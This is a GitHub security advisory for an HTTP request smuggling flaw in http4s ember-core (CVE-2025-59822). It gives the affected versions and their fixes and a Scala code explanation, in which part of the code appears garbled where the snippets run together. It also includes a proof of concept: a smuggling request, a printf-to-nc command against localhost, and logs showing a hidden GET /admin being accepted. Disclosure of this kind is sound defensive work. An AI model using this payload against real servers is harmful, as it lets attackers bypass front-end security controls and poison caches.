GitHub Advisoryadvisory · Maven

GHSA-wcwh-7gfw-5wrr Http4s vulnerable to HTTP Request Smuggling due to improper handling of HTTP trailer section

MEDIUM Published 2025-09-23 Modified 2025-10-13 Official page ↗
Aliases
CVE-2025-59822
Ecosystem
Maven
Packages
org.http4s:http4s-ember-core_2.12, org.http4s:http4s-ember-core_2.13, org.http4s:http4s-ember-core_3
Severity
Moderate
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
Weaknesses
CWE-444
Reviewed
2025-09-23

Affected packages

• Maven org.http4s:http4s-ember-core_2.12: < 0.23.31 → fixed in 0.23.31 • Maven org.http4s:http4s-ember-core_2.13: < 0.23.31 → fixed in 0.23.31 • Maven org.http4s:http4s-ember-core_3: < 0.23.31 → fixed in 0.23.31 • Maven org.http4s:http4s-ember-core_2.13: >= 1.0.0-M1, < 1.0.0-M45 → fixed in 1.0.0-M45 • Maven org.http4s:http4s-ember-core_3: >= 1.0.0-M1, < 1.0.0-M45 → fixed in 1.0.0-M45

Description

Summary http4s is vulnerable to HTTP Request Smuggling due to improper handling of HTTP trailer section. This vulnerability could enable attackers to: • Bypass front-end servers security controls • Launch targeted attacks against active users • Poison web caches Pre-requisites for the exploitation: the web appication has to be deployed behind a reverse-proxy that forwards trailer headers. Details The HTTP chunked message parser, after parsing the last body chunk, calls `parseTrailers` (`ember-core/shared/src/main/scala/org/http4s/ember/core/ChunkedEncoding.scala#L122-142`). This method parses the trailer section using `Parser.parse`, where the issue originates. `parse` has a bug that allows to terminate the parsing before finding the double CRLF condition: when it finds an header line that does not include the colon character, it continues parsing with `state=false` looking for the header name till reaching the condition `else if (current == lf && (idx > 0 && message(idx - 1) == cr))` that sets `complete=true` even if no `\r\n\r\n` is found. ```scala if (current == colon) { state = true // set state to check for header value name = new String(message, start, idx - start) // extract name string start = idx + 1 // advance past colon for next start // TODO: This if clause may not be necessary since the header value parser trims if (message.size > idx + 1 && message(idx + 1) == space) { start += 1 // if colon is followed by space advance again idx += 1 // double advance index here to skip the space } // double CRLF condition - Termination of headers } else if (current == lf && (idx > 0 && message(idx - 1) == cr)) { // for { bodyStr s"${header.name.toString.toLowerCase}: ${header.value}" }.mkString("\n") responseText = s"""$method $uri $version $headers $bodyStr """ result echoService).orNotFound ) override def run(args: List[String]): IO[ExitCode] = { EmberServerBuilder .default[IO] .withHost(ipv4"0.0.0.0") .withPort(port"8080") .withHttpApp(httpApp) .build .use { server => IO.println(s"Server started at http://0.0.0.0:8080") >> IO.never } .as(ExitCode.Success) } } ``` `build.sbt` ``` ThisBuild / scalaVersion := "2.13.15" val http4sVersion = "0.23.30" lazy val root = (project in file(".")) .settings( name := "http4s-echo-server", libraryDependencies ++= Seq( "org.http4s" %% "http4s-ember-server" % http4sVersion, "org.http4s" %% "http4s-dsl" % http4sVersion, "org.http4s" %% "http4s-circe" % http4sVersion, "ch.qos.logback" % "logback-classic" % "1.4.11", "org.typelevel" %% "log4cats-slf4j" % "2.6.0", ) ) ``` Send the following request: ```http POST / HTTP/1.1 Host: localhost Transfer-Encoding: chunked 2 aa 0 Test: smuggling a GET /admin HTTP/1.1 Host: localhost ``` You can do that with the following command: `printf 'POST / HTTP/1.1\r\nHost: localhost\r\nTransfer-Encoding: chunked\r\n\r\n2\r\naa\r\n0\r\nTest: smuggling\r\na\r\nGET /admin HTTP/1.1\r\nHost: localhost\r\n\r\n' | nc localhost 8080` You will see that the request is interpreted as two separate requests ``` 16:18:02.015 [io-compute-19] INFO org.http4s.server.middleware.RequestLogger -- HTTP/1.1 POST / Headers(Host: localhost, Transfer-Encoding: chunked) body="aa" 16:18:02.027 [io-compute-19] INFO org.http4s.server.middleware.RequestLogger -- HTTP/1.1 GET /admin Headers(Host: localhost) ```

Related

Alias · CVE (1)

  • CVE-2025-59822 Http4s is a Scala interface for HTTP services. vulnerability

Weakness · CWE (1)

  • CWE-444 Inconsistent Interpretation of HTTP Requests weakness

References